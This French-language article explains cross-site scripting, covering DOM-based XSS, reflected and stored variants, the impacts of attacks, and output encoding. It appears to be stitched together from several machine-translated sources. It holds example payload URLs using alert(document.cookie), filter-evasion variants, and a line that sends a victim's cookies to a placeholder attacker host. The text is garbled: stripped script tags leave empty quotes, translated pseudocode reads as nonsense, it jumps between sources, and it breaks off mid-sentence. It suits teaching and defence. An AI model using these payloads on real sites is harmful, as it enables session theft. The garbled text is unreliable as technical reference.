Injections XSS. Attaques XSS : qu'est-ce qu'elles sont et pourquoi elles sont dangereuses

Nous savons tous ce qu’est le cross-site scripting, n’est-ce pas ? Il s'agit d'une vulnérabilité dans laquelle un attaquant envoie des données malveillantes (généralement du HTML contenant du code Javascript) qui sont ensuite renvoyées par l'application, provoquant l'exécution de code Javascript. Donc ce n'est pas vrai ! Il existe un type d’attaque XSS qui ne correspond pas à cette définition, du moins dans ses principes fondamentaux. Les attaques XSS, telles que définies ci-dessus, sont divisées en attaques instantanées (des données malveillantes sont intégrées dans une page qui est renvoyée au navigateur immédiatement après la demande) et retardées (des données malveillantes sont renvoyées après un certain temps). Mais il existe un troisième type d’attaque XSS, qui ne repose pas sur l’envoi de données malveillantes au serveur. Bien que cela semble contre-intuitif, il existe deux exemples bien documentés d’une telle attaque. Cet article décrit le troisième type d'attaques XSS : XSS via DOM (DOM Based XSS). Rien de fondamentalement nouveau ne sera écrit ici sur l'attaque, l'innovation de ce matériau réside plutôt dans la mise en évidence ; traits distinctifs des attaques très importantes et intéressantes.

Les développeurs et les utilisateurs d'applications doivent comprendre les principes des attaques XSS via DOM, car elles constituent une menace pour les applications Web et sont différentes des attaques XSS classiques. Il existe de nombreuses applications Web sur Internet qui sont vulnérables au XSS via le DOM et en même temps testées pour XSS et jugées « invulnérables » à ce type d'attaque. Les développeurs et les administrateurs de sites doivent se familiariser avec les techniques de détection et de protection contre XSS via le DOM, car ces techniques diffèrent des techniques utilisées pour traiter les vulnérabilités XSS standard.

Le lecteur doit être familier avec les principes de base des attaques XSS (, , , , ). XSS fait généralement référence à instant() et aux scripts intersites paresseux. Avec Instant XSS, le code malveillant (Javascript) est immédiatement renvoyé par le serveur attaqué en réponse à une requête HTTP. Le XSS différé signifie que le code malveillant est stocké sur le système attaqué et peut ensuite être injecté dans Page HTML système vulnérable. Comme mentionné ci-dessus, cette classification suppose que la propriété fondamentale de XSS est que du code malveillant est envoyé d'un navigateur vers un serveur et renvoyé au même navigateur (flash XSS) ou à tout autre navigateur (XSS retardé). Cet article soulève le problème qu’il s’agit d’une erreur de classification. La possibilité de mener une attaque XSS qui ne repose pas sur l’injection de code dans la page renvoyée par le serveur aurait un impact majeur sur les techniques de sécurité et de détection. Les principes de telles attaques sont abordés dans cet article.

Avant de décrire le scénario d'attaque le plus simple, il est important de souligner que les méthodes décrites ici ont déjà été démontrées publiquement à plusieurs reprises (par exemple, , et ). Je ne prétends pas que les méthodes ci-dessous soient décrites pour la première fois (bien que certaines d'entre elles diffèrent des documents publiés précédemment).

Un signe d'un site vulnérable peut être la présence d'une page HTML qui utilise les données de document.location, document.URL ou document.referrer (ou tout autre objet pouvant être influencé par un attaquant) de manière non sécurisée.

Note pour les lecteurs peu familiers avec ces objets Javascript : Lorsque du code Javascript s'exécute dans un navigateur, il accède à plusieurs objets représentés au sein du DOM (Document Object Model). L'objet document est le principal de ces objets et donne accès à la plupart des propriétés de la page. Cet objet contient de nombreux objets imbriqués tels que l'emplacement, l'URL et le référent. Ils sont contrôlés par le navigateur selon le point de vue de celui-ci (comme on le verra ci-dessous, c'est assez significatif). Ainsi, document.URL et document.location contiennent l'URL de la page, ou plus précisément, ce que le navigateur entend par URL. Veuillez noter que ces objets ne sont pas extraits du corps de la page HTML. L'objet document contient un objet corps contenant le code HTML analysé de la page.

Il n'est pas difficile de trouver une page HTML contenant du code Javascript qui analyse une chaîne URL (accessible via document.URL ou document.location) et, en fonction de sa valeur, effectue certaines actions côté client. Vous trouverez ci-dessous un exemple d'un tel code.

Par analogie avec l'exemple de, considérons la page HTML suivante (en supposant que le contenu soit http://www.vulnerable.site/welcome.html) :

Accueillir! Salut var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Bienvenue dans notre système…

Cependant, une requête comme celle-ci -

http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

provoquerait XSS. Voyons pourquoi : le navigateur de la victime, ayant reçu ce lien, envoie une requête HTTP à www.vulnerable.site et reçoit la page HTML (statique !) susmentionnée. Le navigateur de la victime commence à analyser ce code HTML. Le DOM contient un objet document qui possède un champ URL, et ce champ est renseigné Valeur de l'URL page actuelle pendant le processus de création du DOM. Lorsque l'analyseur atteint le code Javascript, il l'exécute, ce qui provoque une modification du code HTML de la page affichée. DANS dans ce cas, le code fait référence à document.URL et comme une partie de cette chaîne est incorporée dans le HTML lors de l'analyse, qui est immédiatement analysée, le code détecté (alert(...)) est exécuté dans le contexte de la même page.

Remarques :

1. Le code malveillant n'est pas intégré dans la page HTML (contrairement aux autres types de XSS).
2. Cet exploit fonctionnera à condition que le navigateur ne modifie pas les caractères de l'URL. Mozilla encode automatiquement les caractères '' (respectivement %3C et %3E) dans les objets de document imbriqués. Si l'URL a été saisie directement dans la barre d'adresse, ce navigateur n'est pas vulnérable à l'attaque décrite dans cet exemple. Toutefois, si l'attaque ne nécessite pas les caractères '' (sous sa forme originale non codée), l'attaque peut être effectuée. Microsoft Internet Explorer 6.0 ne code pas '' et est donc vulnérable à l'attaque décrite sans aucune restriction. Cependant, il existe de nombreux scénarios d'attaque différents qui ne nécessitent pas de '', et donc même Mozilla n'est pas à l'abri de cette attaque.

Dans l'exemple ci-dessus, le code malveillant est toujours envoyé au serveur (dans le cadre de la requête HTTP), de sorte que l'attaque peut être détectée comme n'importe quelle autre attaque XSS. Mais c'est un problème qui peut être résolu.

Prenons l'exemple suivant :

http://www.vulnerable.site/welcome.html#name=alert(document.cookie)

Notez le symbole « # » à droite du nom du fichier. Il indique au navigateur que tout ce qui suit ce caractère ne fait pas partie de la requête. Microsoft Internet Explorer (6.0) et Mozilla n'envoient pas le fragment après le caractère '#' au serveur, donc pour le serveur cette requête sera équivalente à http://www.vulnerable.site/welcome.html, c'est-à-dire le code malveillant ne sera même pas remarqué par le serveur. Ainsi, grâce à cette technique, le navigateur n’envoie pas de payload malveillant au serveur.

Cependant, dans certains cas, il est impossible de masquer la charge utile : la charge utile malveillante fait partie du nom d'utilisateur dans une URL telle que http://nom d'utilisateur@hôte/. Dans ce cas, le navigateur envoie une requête avec un en-tête Authorization contenant le nom d'utilisateur (charge utile malveillante), ce qui entraîne l'arrivée d'un code malveillant sur le serveur (codé en Base64 - l'IDS/IPS doit donc d'abord décoder ces données pour détecter l'attaque). Cependant, le serveur n'est pas obligé d'injecter cette charge utile dans l'une des pages HTML disponibles, bien que cela soit une condition nécessaire pour exécuter une attaque XSS.

Évidemment, dans les situations où la charge utile peut être complètement masquée, les outils de détection (IPS) et de prévention (IPS, pare-feu d'application web) ne peuvent pas protéger complètement contre cette attaque. Même si la charge utile doit être envoyée au serveur, dans de nombreux cas, elle peut être transformée d'une certaine manière pour éviter d'être détectée. Par exemple, si un paramètre est protégé (par exemple, le paramètre name dans l'exemple ci-dessus), une petite modification dans le script d'attaque peut produire le résultat suivant :

(document.cookie)

Une politique de sécurité plus stricte nécessiterait que le paramètre name soit envoyé. Dans ce cas, vous pouvez faire la demande suivante :

http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe

Si votre politique de sécurité restreint les noms de paramètres supplémentaires (par exemple : foobar), vous pouvez utiliser l'option suivante :

http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe

Veuillez noter que le paramètre ignoré (foobar) doit venir en premier et contenir une charge utile dans sa valeur.

Le scénario d'attaque décrit dans est encore plus préférable pour l'attaquant, puisque la valeur complète de document.location est écrite dans la page HTML (le code Javascript ne recherche pas un nom de paramètre spécifique). Ainsi, un attaquant pourrait complètement masquer la charge utile en envoyant ce qui suit :

/attachment.cgi?id=&action=foobar#alert(document.cookie)

Même si la charge utile est analysée par le serveur, la protection ne peut être garantie que si la demande est rejetée ou si la réponse est remplacée par un texte d'erreur. En nous référant à nouveau à et : si l'en-tête Authorization est simplement supprimé par le système de sécurité intermédiaire, cela n'aura aucun effet si la page d'origine est renvoyée. De même, toute tentative de traiter des données sur le serveur en supprimant ou en codant des caractères illégaux sera inefficace contre cette attaque.

Dans le cas de document.referrer, la charge utile est envoyée au serveur via l'en-tête Referer. Toutefois, si le navigateur ou la protection intermédiaire de l'utilisateur supprime cet en-tête, il n'y aura aucune trace de l'attaque, qui peut passer totalement inaperçue.

En résumé, nous concluons que les méthodes traditionnelles, à savoir

1. Codage Données HTML côté serveur
2. La suppression/codage côté serveur des entrées interdites ne fonctionne pas avec DOM XSS.

La recherche automatique de vulnérabilités en « bombardant » des données malveillantes (parfois appelée fuzzing) ne fonctionnera pas, car les programmes utilisant cette technique font généralement des inférences selon que les données intégrées sont présentes ou non dans la page renvoyée (au lieu d'exécuter le code dans le contexte). du navigateur côté client et suivi des résultats). Cependant, si le programme peut analyser statiquement le code Javascript trouvé sur la page, il peut signaler des signes suspects (voir ci-dessous). Et bien sûr, si les outils de sécurité peuvent exécuter du code Javascript (et initialiser correctement les objets DOM) ou émuler une telle exécution, ils seront capables de détecter cette attaque.

La recherche manuelle d'une vulnérabilité à l'aide d'un navigateur fonctionnera également, puisque le navigateur peut exécuter du code Javascript côté client. Les outils de vulnérabilité peuvent adopter cette méthode et exécuter du code côté client pour surveiller les résultats de son exécution.
Protection efficace

Évitez les réécritures, les redirections ou autres actions similaires de documents côté client qui utilisent des données côté client. La plupart de ces actions peuvent être effectuées à l'aide de pages dynamiques (côté serveur).
2.

Analyse et amélioration de la sécurité du code (Javascript) côté client. Les références aux objets DOM qui peuvent être influencés par l'utilisateur (l'attaquant) doivent être soigneusement vérifiées. Une attention particulière doit être portée aux objets suivants (sans toutefois s'y limiter) :
* document.URL
* document.URLUnencoded
* document.location (et ses propriétés)
* document.référent
* window.location (et ses propriétés)

Notez que les propriétés des objets document et window peuvent être référencées de plusieurs manières : explicitement (exemple : window.location), implicitement (exemple : location) ou en obtenant un handle et en l'utilisant (exemple : handle_to_some_window.location).

Une attention particulière doit être portée au code dans lequel le DOM est modifié, explicitement ou potentiellement, par un accès direct au HTML ou par un accès direct au DOM. Exemples (cette liste n'est en aucun cas exhaustive) :
* Saisie dans le code HTML de la page :
o document.write(…)
o document.writeln(…)
o document.body.innerHtml=…
* Modification directe du DOM (y compris les événements DHTML) :
o document.forms.action=… (et autres variantes)
o document.attachEvent(…)
o document.créer…(…)
o document.execCommand(…)
o document.corps. ... (accéder au DOM via l'objet body)
o window.attachEvent(…)
* Modification de l'URL du document :
o document.location=… (ainsi que l'attribution des valeurs href, host et hostname à l'objet location)
o document.location.hostname=…
o document.location.replace(…)
o document.location.assign(…)
o document.URL=…
o fenêtre.navigate(…)
* Ouverture/modification de l'objet fenêtre :
o document.open(…)
o fenêtre.ouvrir(…)
o window.location.href=… (ainsi que l'attribution des valeurs d'hôte et de nom d'hôte à l'objet de localisation)
* Exécuter le script directement :
o évaluation(…)
o fenêtre.execScript(…)
o window.setInterval(…)
o window.setTimeout(…)

Tout le monde sait depuis longtemps ce qu’est XSS et comment s’en protéger, je serai donc bref. XSS est la capacité d'un attaquant à le faire d'une certaine manière (lien vers options possibles voir fin de l'article) intégrer un script dans la page du site victime, qui sera exécuté lors de sa visite.

Fait intéressant, dans la plupart des cas où cette vulnérabilité est décrite, nous avons peur du code suivant :

D'une manière ou d'une autre, ce n'est pas très effrayant :) Comment cette vulnérabilité peut-elle vraiment être dangereuse ?

Il existe deux types de vulnérabilités XSS : passive et active.

Vulnérabilité active est plus dangereux, puisque l'attaquant n'a pas besoin d'attirer la victime à l'aide d'un lien spécial ; il lui suffit d'injecter le code dans la base de données ou dans un fichier sur le serveur. Ainsi, tous les visiteurs du site deviennent automatiquement des victimes. Il peut être intégré, par exemple, par injection SQL. Par conséquent, vous ne devez pas faire confiance aux données stockées dans la base de données, même si elles ont été traitées lors de l'insertion.

Exemple vulnérabilité passive Vous pouvez le voir au tout début de l'article. Cela nécessite déjà une ingénierie sociale, par exemple une lettre importante de l'administration du site vous demandant de vérifier les paramètres de votre compte après une restauration à partir d'une sauvegarde. En conséquence, vous devez connaître l’adresse de la victime ou simplement organiser un spam ou une publication sur un forum, et ce n’est pas un fait que les victimes seront naïves et suivront votre lien.

De plus, les paramètres POST et GET peuvent être sensibles à une vulnérabilité passive. Avec les paramètres POST, vous devrez bien sûr recourir à des astuces. Par exemple, une redirection depuis le site Web d’un attaquant.

Par conséquent, la vulnérabilité GET est un peu plus dangereuse, car... il est plus facile pour une victime de remarquer un domaine incorrect que paramètre supplémentaire(bien que l'URL puisse généralement être codée).

Il s’agit de l’exemple d’attaque XSS le plus souvent cité. Les sites Web stockent parfois des informations précieuses dans des Cookies (parfois même le login et le mot de passe de l'utilisateur (ou son hachage)), mais le plus dangereux est le vol d'une session active, alors n'oubliez pas de cliquer sur le lien « Quitter » sur les sites Web, même si ceci ordinateur personnel. Heureusement, sur la plupart des ressources, la durée de vie de la session est limitée.

C'est pourquoi ils ont introduit des restrictions de domaine sur XMLHttpRequest, mais ce n'est pas un problème pour un attaquant, puisqu'il y a, , , arrière-plan:url(); etc.

Nous recherchons le formulaire via, par exemple, getElementById et surveillons l'événement onsubmit. Désormais, avant de soumettre le formulaire, les données saisies sont également envoyées au serveur de l’attaquant.

Ce type d'attaque rappelle un peu le phishing, sauf qu'il utilise un vrai site plutôt qu'un faux, ce qui donne plus de confiance à la victime.

Une vulnérabilité XSS sur des ressources très visitées peut être utilisée pour lancer une attaque DDoS. L'essence est simple : il existe de nombreuses requêtes auxquelles le serveur attaqué ne peut pas résister.
En fait, la relation avec XSS est indirecte, puisque les scripts ne peuvent pas être utilisés du tout, une construction comme celle-ci suffit :

Également indirectement lié à XSS. Il s’agit en fait d’un type de vulnérabilité distinct, mais il est souvent utilisé conjointement avec XSS. L'essentiel est qu'un utilisateur autorisé sur un site invulnérable accède à un site vulnérable (ou à une page spéciale de l'attaquant), à partir de laquelle une demande est envoyée pour effectuer certaines actions.

En gros, idéalement, cela devrait être le cas. L'utilisateur s'est connecté au système de paiement. Ensuite, je me suis rendu sur le site Web de l’attaquant ou sur un site présentant une vulnérabilité XSS, à partir duquel une demande de transfert d’argent sur le compte de l’attaquant a été envoyée.

Par conséquent, la plupart des sites, lors de l'exécution de certaines actions utilisateur (par exemple, modifier l'e-mail), demandent un mot de passe ou vous demandent de saisir un code de confirmation.

Ce type d'attaque est probablement apparu grâce aux réseaux sociaux tels que VKontakte et Twitter. Le fait est qu'un lien présentant une vulnérabilité XSS est envoyé à plusieurs utilisateurs du réseau social ; lorsqu'ils cliquent sur le lien, le script intégré envoie des messages en leur nom à d'autres utilisateurs, etc. Parallèlement, d'autres actions peuvent être effectuées, par exemple l'envoi des données personnelles des victimes à l'attaquant.

Il est intéressant de noter que les compteurs, de par leur nature même, constituent également une sorte d’attaque XSS active. Après tout, les données sur le visiteur sont transférées vers un serveur tiers, comme son adresse IP, la résolution de son moniteur, etc. Vous seul intégrez le code dans votre page de votre plein gré :) Jetez un œil, par exemple, au code Google Analytic.

Et c'est un didacticiel complet sur les scripts intersites.

Scripts intersites ( Anglais Scripts intersites) est une attaque par injection de code qui permet à un attaquant d'exécuter du JavaScript malveillant dans le navigateur d'un autre utilisateur.

L'agresseur ne s'attaque pas directement à sa victime. Au lieu de cela, il exploite une vulnérabilité du site Web visité par la victime et injecte du code JavaScript malveillant. Dans le navigateur de la victime, le code JavaScript malveillant apparaît comme une partie légitime du site Web, et le site Web lui-même agit comme un complice direct de l'attaquant.

La seule façon pour un attaquant d'exécuter du JavaScript malveillant dans le navigateur d'une victime est de l'injecter dans l'une des pages chargées par la victime à partir du site Web. Cela est possible si un site Web permet aux utilisateurs de saisir des données sur ses pages et que l'attaquant peut insérer une chaîne qui sera détectée comme faisant partie du code dans le navigateur de la victime.

L'exemple ci-dessous montre un simple script côté serveur utilisé pour afficher le dernier commentaire sur un site :

imprimer ""
imprimer "Dernier commentaire :"
imprimer la base de données.latestComment
imprimer ""

Le script suppose que le commentaire est uniquement constitué de texte. Cependant, la saisie directe de l'utilisateur étant activée, un attaquant pourrait laisser ce commentaire : "...". Tout utilisateur visitant la page recevra désormais la réponse suivante :

Dernier commentaire :
...

Lorsque le navigateur de l'utilisateur charge la page, il exécute tout, y compris le code JavaScript contenu dans le fichier . L’attaquant a mené son attaque avec succès.

La possibilité d'exécuter du JavaScript dans le navigateur de la victime peut ne pas sembler particulièrement malveillante. JavaScript s'exécute dans un environnement très limité et extrêmement accès limité aux fichiers utilisateur et système opérateur. En fait, vous pouvez ouvrir la console JavaScript dans votre navigateur dès maintenant et exécuter le JavaScript de votre choix, et il est très peu probable que vous puissiez causer des dommages à votre ordinateur.

Cependant, le potentiel du code JavaScript à agir comme un code malveillant devient plus clair si l'on considère les faits suivants :

• JavaScript a accès à certains informations confidentielles utilisateur, par exemple les cookies.
• JavaScript peut envoyer des requêtes HTTP avec un contenu arbitraire dans n'importe quelle direction à l'aide de XMLHttpRequest et d'autres mécanismes.
• JavaScript peut apporter des modifications arbitraires au code HTML de la page actuelle à l'aide de techniques de manipulation DOM.

Si combinés, ces faits peuvent entraîner de très graves violations de la sécurité, les détails suivront.

De plus, la possibilité d'exécuter du JavaScript arbitraire dans le navigateur d'un autre utilisateur permet à un attaquant de mener les types d'attaques suivants :

Vol de cookies

un attaquant peut accéder aux cookies liés au site Web de la victime à l'aide de document.cookie , les envoyer à son propre serveur et utilisez-les pour extraire des informations sensibles telles que les identifiants de session.

Enregistreur de frappe

Un attaquant pourrait enregistrer un écouteur d'événements clavier à l'aide de addEventListener, puis envoyer toutes les frappes de l'utilisateur à son serveur, enregistrant potentiellement des informations sensibles telles que des mots de passe et des numéros de carte de crédit.

Phishing

un attaquant pourrait insérer un faux formulaire de connexion dans une page en utilisant la manipulation DOM, définissant les attributs d'action du formulaire sur son propre serveur, puis inciter l'utilisateur à obtenir des informations sensibles.

Bien que ces attaques diffèrent considérablement, elles présentent toutes une similitude significative : puisque l’attaquant injecte du code dans la page desservie par le site Web, le JavaScript malveillant est exécuté dans le contexte de ce site Web. Cela signifie qu'il est traité comme n'importe quel autre script de ce site : il a accès aux données de la victime pour ce site Web (comme les cookies) et le nom d'hôte affiché dans la barre d'URL sera le même que celui du site Web. À toutes fins utiles, le script est considéré comme une partie légale du site Web, lui permettant de faire tout ce que le site Web lui-même peut faire.

Ce fait met en évidence un problème clé :

Si un attaquant peut utiliser votre site Web pour exécuter du code JavaScript arbitraire dans les navigateurs d'autres utilisateurs, la sécurité de votre site Web et de ses utilisateurs est compromise.

Pour souligner ce point, certains exemples de scripts malveillants de ce tutoriel seront laissés sans détail, en utilisant.... Cela suggère que la simple présence d'un script injecté par un attaquant constitue un problème, quel que soit le code de script spécifique réellement exécuté.

Avant de décrire en détail le fonctionnement d'une attaque XSS, nous devons définir les acteurs impliqués dans une attaque XSS. En général, une attaque XSS implique trois parties : le site Web, la victime et l'attaquant.

• Le site Web fournit des pages HTML aux utilisateurs qui en font la demande. Dans nos exemples, il se trouve sur http://website/.
  • Une base de données de site Web est une base de données qui stocke certaines des données saisies par les utilisateurs sur les pages d'un site Web.
• La victime est utilisateur régulier site Web qui lui demande des pages à l’aide de son navigateur.
• Un attaquant est un attaquant qui entend lancer une attaque sur une victime en exploitant une vulnérabilité XSS dans un site Web.
  • Le serveur d'un attaquant est un serveur Web contrôlé par un attaquant dans le seul but de voler les informations confidentielles de la victime. Dans nos exemples, il se trouve sur http://attaquant/.

window.location="http://attaquant/?cookie="+document.cookie

Ce script créera une requête HTTP vers une autre URL, qui redirigera le navigateur de l'utilisateur vers le serveur de l'attaquant. L'URL inclut les cookies de la victime comme paramètre de requête, lorsqu'une requête HTTP parvient au serveur de l'attaquant, l'attaquant peut extraire ces cookies de la requête. Une fois que l'attaquant a reçu les cookies, il peut les utiliser pour usurper l'identité de la victime et lancer une attaque ultérieure.

Désormais, le code HTML affiché ci-dessus sera appelé chaîne malveillante ou script malveillant. Il est important de comprendre que la chaîne elle-même n'est malveillante que si elle est finalement rendue au format HTML dans le navigateur de la victime, et cela ne peut se produire que s'il existe une vulnérabilité XSS dans le site Web.

Le schéma ci-dessous montre un exemple d'attaque par un attaquant :

Le but d'une attaque XSS est toujours d'exécuter un script JavaScript malveillant dans le navigateur de la victime. Il existe plusieurs manières fondamentalement différentes d'atteindre cet objectif. Les attaques XSS sont souvent divisées en trois types :

• XSS stocké (persistant), où la chaîne malveillante provient de la base de données du site Web.
• XSS réfléchi (non persistant), où la chaîne malveillante est générée à partir de la demande de la victime.
• DOM XSS, où la vulnérabilité se produit dans le code côté client plutôt que dans le code côté serveur.

L'exemple précédent montre une attaque XSS stockée. Nous allons maintenant décrire deux autres types d'attaques XSS : les attaques XSS réfléchies et les attaques DOM XSS.

Dans une attaque XSS réfléchie, la chaîne malveillante fait partie de la requête de la victime au site Web. Le site accepte et insère cette chaîne malveillante dans la réponse renvoyée à l'utilisateur. Le diagramme ci-dessous illustre ce scénario :

Comment réussir une attaque XSS réfléchie ?

Une attaque XSS réfléchie peut sembler inoffensive car elle nécessite que la victime envoie en son nom une requête contenant une chaîne malveillante. Puisque personne ne s’attaquerait volontairement, il semble qu’il n’y ait aucun moyen de mener réellement l’attaque.

Il s'avère qu'il existe au moins deux manières courantes d'amener une victime à lancer une attaque XSS réfléchie contre elle-même :

• Si l'utilisateur est une personne spécifique, l'attaquant pourrait envoyer une URL malveillante à la victime (par exemple, en utilisant e-mail ou Messenger) et l'amener à ouvrir un lien pour visiter un site Web.
• Si la cible est un grand groupe d'utilisateurs, l'attaquant pourrait publier un lien vers une URL malveillante (par exemple, sur son propre site Web ou sur Internet). réseau social) et attendez que les visiteurs suivent le lien.

Ces deux méthodes sont similaires, et toutes deux peuvent être plus efficaces en utilisant des services de raccourcissement d'URL qui masqueront la chaîne malveillante aux utilisateurs susceptibles de l'identifier.

XSS dans le DOM est une variante des attaques XSS stockées et réfléchies. Dans cette attaque XSS, la chaîne malveillante n'est pas traitée par le navigateur de la victime jusqu'à ce que le JavaScript réel du site Web soit exécuté. Le diagramme ci-dessous illustre ce scénario pour une attaque XSS réfléchie :

Dans les exemples précédents d'attaques XSS stockées et réfléchies, le serveur insère un script malveillant dans une page, qui est ensuite transmis en réponse à la victime. Lorsque le navigateur de la victime reçoit la réponse, il suppose que le script malveillant fait partie du contenu légitime de la page et l'exécute automatiquement lors du chargement de la page, comme n'importe quel autre script.

Dans l’exemple d’une attaque XSS dans le DOM, le script malveillant n’est pas inséré dans la page ; le seul script qui est automatiquement exécuté pendant le chargement de la page est une partie légitime de la page. Le problème est que ce script légitime utilise directement les entrées de l'utilisateur pour ajouter du HTML à la page. Étant donné que la chaîne malveillante est insérée dans la page à l'aide de innerHTML , elle est analysée au format HTML, provoquant l'exécution du script malveillant.

Cette différence est petite, mais très importante :

• Dans le XSS traditionnel, du JavaScript malveillant est exécuté lors du chargement de la page, dans le cadre du code HTML envoyé par le serveur.
• Dans le cas de XSS dans le DOM, du JavaScript malveillant est exécuté après le chargement de la page, ce qui amène la page JavaScript légitime à accéder aux entrées de l'utilisateur (contenant la chaîne malveillante) de manière non sécurisée.

Il n’est pas nécessaire d’utiliser JavaScript dans l’exemple précédent ; le serveur peut générer tout le HTML par lui-même. Si le code côté serveur ne contenait pas de vulnérabilités, le site Web ne serait pas sensible à une vulnérabilité XSS.

Cependant, à mesure que les applications Web deviennent plus avancées, de plus en plus de pages HTML sont générées à l'aide de JavaScript côté client plutôt que côté serveur. À tout moment, le contenu doit changer sans actualiser la page entière, cela est possible grâce à JavaScript. C'est notamment le cas lorsque la page est rafraîchie après une requête AJAX.

Cela signifie que les vulnérabilités XSS peuvent être présentes non seulement dans le code côté serveur de votre site, mais également dans le code JavaScript côté client de votre site. Par conséquent, même avec un code côté serveur totalement sécurisé, le code client peut toujours ne pas inclure en toute sécurité les entrées de l'utilisateur lors de la mise à jour du DOM après le chargement de la page. Si cela se produit, le code côté client permettra à une attaque XSS de se produire sans faute du code côté serveur.

Il existe un cas particulier d'attaque XSS dans le DOM dans lequel la chaîne malveillante n'est jamais envoyée au serveur du site Web : cela se produit lorsque la chaîne malveillante est contenue dans la partie identifiant de l'URL (tout ce qui se trouve après le symbole #). Les navigateurs n'envoient pas cette partie de l'URL au serveur, le site Web ne peut donc pas y accéder à l'aide du code côté serveur. Le code côté client y a cependant accès et il est donc possible de mener une attaque XSS via un traitement non sécurisé.

Ce cas ne se limite pas à l’ID du fragment. Il existe d'autres entrées utilisateur invisibles pour le serveur, telles que les nouvelles fonctionnalités HTML5 telles que LocalStorage et IndexedDB.

Rappelons que XSS est une attaque par injection de code : les entrées de l'utilisateur sont interprétées à tort comme malveillantes. code de programme. Pour empêcher ce type d’injection de code, une gestion sécurisée des entrées est requise. Pour un développeur web, il y a fondamentalement deux différentes manières effectuer un traitement de saisie sécurisé :

• L'encodage est une méthode qui permet à l'utilisateur de saisir des données uniquement sous forme de données et ne permet pas au navigateur de les traiter sous forme de code.
• La validation est un moyen de filtrer les entrées de l'utilisateur afin que le navigateur les interprète comme du code sans commandes malveillantes.

Bien qu’il s’agisse de méthodes d’atténuation XSS fondamentalement différentes, elles partagent plusieurs caractéristiques communes qu’il est important de comprendre lors de l’utilisation de l’une ou l’autre :

Contexte La gestion des entrées sécurisées doit être effectuée différemment selon l'endroit sur la page où l'entrée utilisateur est utilisée.

entrant/sortant Le traitement sécurisé des entrées peut être effectué soit lorsque votre site reçoit des entrées (trafic entrant), soit juste avant que le site n'insère les entrées de l'utilisateur dans le contenu de la page (sortant).

Il existe de nombreux contextes sur une page Web dans lesquels les entrées de l'utilisateur peuvent être appliquées. Pour chacun d'eux, des règles spéciales doivent être suivies pour garantir que les entrées de l'utilisateur ne peuvent pas échapper à leur contexte et ne peuvent pas être interprétées comme du code malveillant. Voici les contextes les plus courants :

Dans tous les contextes décrits, une vulnérabilité XSS pourrait survenir si une entrée utilisateur était insérée avant le premier encodage ou validation. Un attaquant peut injecter du code malveillant simplement en insérant un délimiteur fermant pour ce contexte suivi d'un code malveillant.

Par exemple, si à un moment donné le site Web implique une saisie directe de l'utilisateur dans Attribut HTML, un attaquant pourrait injecter un script malveillant en commençant sa saisie par une citation, comme indiqué ci-dessous :

Cela pourrait être évité en supprimant simplement toutes les guillemets dans la saisie utilisateur et tout irait bien, mais seulement dans ce contexte. Si l'entrée a été insérée dans un contexte différent, le délimiteur de fermeture sera différent et l'injection sera possible. Pour cette raison, la gestion sécurisée des entrées doit toujours être adaptée au contexte dans lequel l’entrée utilisateur sera insérée.

Instinctivement, il semblerait que XSS puisse être empêché en codant ou en validant toutes les entrées des utilisateurs dès que notre site les reçoit. De cette façon, toutes les chaînes malveillantes seront déjà neutralisées chaque fois qu'elles seront incluses dans la page, et les scripts de génération HTML n'auront pas à se soucier de gérer les entrées de l'utilisateur en toute sécurité.

Le problème est que, comme décrit précédemment, les entrées utilisateur peuvent être insérées dans plusieurs contextes sur une page. Et non manière simple déterminer quand l'entrée utilisateur arrive dans un contexte - comment elle sera finalement insérée, et la même entrée utilisateur doit souvent être insérée dans des contextes différents. En nous appuyant sur le traitement des entrées entrantes pour empêcher XSS, nous créons une solution très fragile qui sera sujette aux erreurs. (Les "citations magiques" héritées de PHP sont un exemple d'une telle solution.)

Au lieu de cela, le traitement des entrées sortantes devrait être votre principale ligne de défense contre XSS, car il peut prendre en compte le contexte spécifique de l'entrée utilisateur qui sera insérée. Dans une certaine mesure, la validation entrante peut être utilisée pour ajouter une couche de sécurité secondaire, mais nous y reviendrons plus tard.

Dans la plupart des applications Web modernes, les entrées des utilisateurs sont traitées à la fois côté serveur et côté client. Pour se protéger contre tous les types de XSS, la gestion sécurisée des entrées doit être effectuée à la fois dans le code côté serveur et côté client.

• Pour se protéger contre le XSS traditionnel, la gestion sécurisée des entrées doit être effectuée dans le code côté serveur. Cela se fait en utilisant un langage pris en charge par le serveur.
• Pour se protéger contre une attaque XSS dans le DOM, où le serveur ne reçoit jamais de chaîne malveillante (telle que l'attaque par fragment d'identifiant décrite précédemment), la gestion sécurisée des entrées doit être effectuée dans le code côté client. Cela se fait à l'aide de JavaScript.

Maintenant que nous avons expliqué pourquoi le contexte est important, pourquoi la distinction entre le traitement des entrées entrantes et sortantes est importante et pourquoi le traitement sécurisé des entrées doit être effectué des deux côtés, côté client et côté serveur, nous pouvons expliquer comment les deux fonctionnent. des types de traitement d'entrée sécurisé (codage et validation) sont effectivement effectués.

Le codage est un moyen de sortir d'une situation où il est nécessaire que le navigateur interprète les entrées de l'utilisateur uniquement comme des données et non comme du code. Le type de codage le plus populaire dans le développement Web est le masquage HTML, qui convertit les caractères tels que< и >V< и >respectivement.

Le pseudocode suivant est un exemple de la façon dont l'entrée utilisateur (entrée utilisateur) peut être codée avec en utilisant HTML masquage puis inséré dans la page à l'aide d'un script serveur :

imprimer ""
imprimer "Dernier commentaire : "
imprimer encodeHtml (userInput)
imprimer ""

Si l'utilisateur saisit la ligne suivante..., le code HTML résultant ressemblera à ceci :

Dernier commentaire :
...

Parce que tous les symboles sont signification particulière ont été masqués, le navigateur n'analysera aucune partie de l'entrée utilisateur comme le HTML.

Lors de l'encodage côté client, JavaScript est toujours utilisé, qui possède des fonctions intégrées qui encodent les données pour différents contextes.

Lorsque vous effectuez le codage dans votre code côté serveur, vous vous appuyez sur les fonctionnalités disponibles dans votre langage ou framework. À cause de grande quantité langages et frameworks disponibles, ce tutoriel ne couvrira pas les détails du codage dans un langage ou un framework serveur spécifique. Cependant, les fonctions de codage JavaScript utilisées côté client sont également utilisées lors de l'écriture de code côté serveur.

Lors de l'encodage des entrées utilisateur côté client à l'aide de JavaScript, il existe plusieurs méthodes et propriétés intégrées qui encodent automatiquement toutes les données dans un style contextuel :

